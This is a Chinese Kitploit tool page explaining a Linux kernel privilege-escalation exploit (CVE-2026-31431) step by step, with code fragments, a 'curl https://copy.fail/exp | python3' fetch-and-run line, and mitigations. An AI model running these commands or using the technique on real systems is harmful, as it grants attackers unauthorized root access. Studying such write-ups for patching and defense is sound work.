Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-31431 — Python 漏洞利用程序,针对 Linux 内核本地权限提升(CVE-2026-31431),利用 AF_ALG 套接字状态混淆和 splice() 实现任意文件写入并获取 root 权限。 | Kitploit
工具/GitHubGitHub/abhishekhargan/cve-2026-31431
权限提升漏洞利用框架漏洞分析漏洞利用学习与教育二进制利用
GitHubabhishekhargan/cve-2026-31431

CVE-2026-31431

Python 漏洞利用程序,针对 Linux 内核本地权限提升(CVE-2026-31431),利用 AF_ALG 套接字状态混淆和 splice() 实现任意文件写入并获取 root 权限。

查看仓库
64个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-31431:“Copy Fail”——Linux 内核本地权限提升漏洞

📢 免责声明

本仓库仅用于教育和网络安全研究目的。 分析该漏洞利用代码是为了理解底层漏洞、促进补丁修复以及制定防御策略。请勿将其用于您不拥有或未经明确授权测试的系统。

📝 概述

“Copy Fail”是 Linux 内核中发现的一个严重本地权限提升(LPE)漏洞。它允许非特权用户通过利用内核在处理文件系统与异步加密 API(AF_ALG)之间内存操作时的缺陷来获取 root 访问权限。

⚙️ 工作原理(技术深度解析)

所提供的 Python 漏洞利用程序结合了晦涩的 Linux 系统调用和接口,在内核内存中实现任意越界(OOB)写入,进而转化为磁盘上的任意文件写入。

以下是攻击链的逐步分解:

1. AF_ALG 接口初始化

root@kitploit:~
a=s.socket(38, 5, 0)
a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))

该脚本创建了一个 AF_ALG 套接字(系列 38)。该接口允许用户空间应用程序将加密操作卸载到内核。它特别请求了一个 AEAD(带关联数据的认证加密)密码链,结合了 HMAC-SHA256 和 CBC-AES。

2. 通过 setsockopt 实现状态混淆

root@kitploit:~
v(h,1,d('0800010000000010'+'0'*64))
v(h,5,None,4)

该脚本使用 setsockopt 操纵套接字的内部状态。十六进制载荷和 None 参数经过精心构造,以触发内核加密 API 缓冲区管理中的边界条件或整数溢出。这会在内核内部“安全地”使复制操作失败,使套接字处于不一致、易受攻击的状态。

3. 使用 splice() 进行零拷贝数据传输

root@kitploit:~
n=g.splice; n(f,w,o,offset_src=0); n(r,u.fileno(),o)

这是漏洞利用的核心。splice() 并非将数据读入用户空间再写回,而是完全在内核空间中直接在文件描述符之间移动数据。 该脚本打开 /usr/bin/su(一个 SUID root 二进制文件),并尝试将数据从其中拼接(splice)到配置错误的 AF_ALG 套接字中。由于第 2 步中套接字状态已被破坏,内核的边界检查在此零拷贝操作期间失败。

4. 载荷注入循环

root@kitploit:~
e=zlib.decompress(d("78da..."))
while i<len(e):c(f,i,e[i:i+4]);i+=4

该脚本解压一个压缩载荷(可能是一个小型 shellcode 或修改后的二进制数据块)。它进入一个循环,每次将 4 字节的载荷发送到被破坏的套接字缓冲区中。由于边界检查失败,这些 4 字节写入会落在内核页缓存中的任意偏移位置——即 /usr/bin/su 被加载的确切内存空间。

5. 权限提升

root@kitploit:~
g.system("su")

通过覆盖页缓存中 /usr/bin/su 版本内的特定指令指针或逻辑检查,攻击者修改了该二进制文件的行为。当调用 system("su") 时,它会执行修改后的 SUID 二进制文件。该二进制文件以 root 身份运行,但跳过了标准密码验证,直接将攻击者带入 root shell。

6. 漏洞利用

在您的 Linux 系统中下载并运行 copyfail.py,或使用以下 curl 请求快速运行

root@kitploit:~
curl https://copy.fail/exp | python3 && su
id

https://github.com/user-attachments/assets/1f6c9365-710e-4241-889f-cb30af6d6f2e

🎯 影响

  • 严重性: 严重
  • 攻击向量: 本地(需要在目标机器上执行)
  • 影响: 完全 root 访问权限,绕过所有文件权限以及 SELinux/AppArmor 配置文件。

🛡️ 缓解与防御

  1. 修补内核: 应用您的 Linux 发行版(Canonical、Red Hat、Debian 等)提供的最新安全补丁。
  2. 限制 AF_ALG: 如果您的负载不需要加密卸载,请通过在 /etc/modprobe.d/blacklist.conf 中添加 blacklist af_alg 来禁用 af_alg 内核模块。
  3. Seccomp/AppArmor 配置文件: 使用严格的 Seccomp 过滤器限制非特权用户使用 splice()、socket()(特别是系列 38)和 setsockopt() 的能力。

📚 参考

  • https://xint.io/blog/copy-fail-linux-distributions#the-exploit-4
下载工具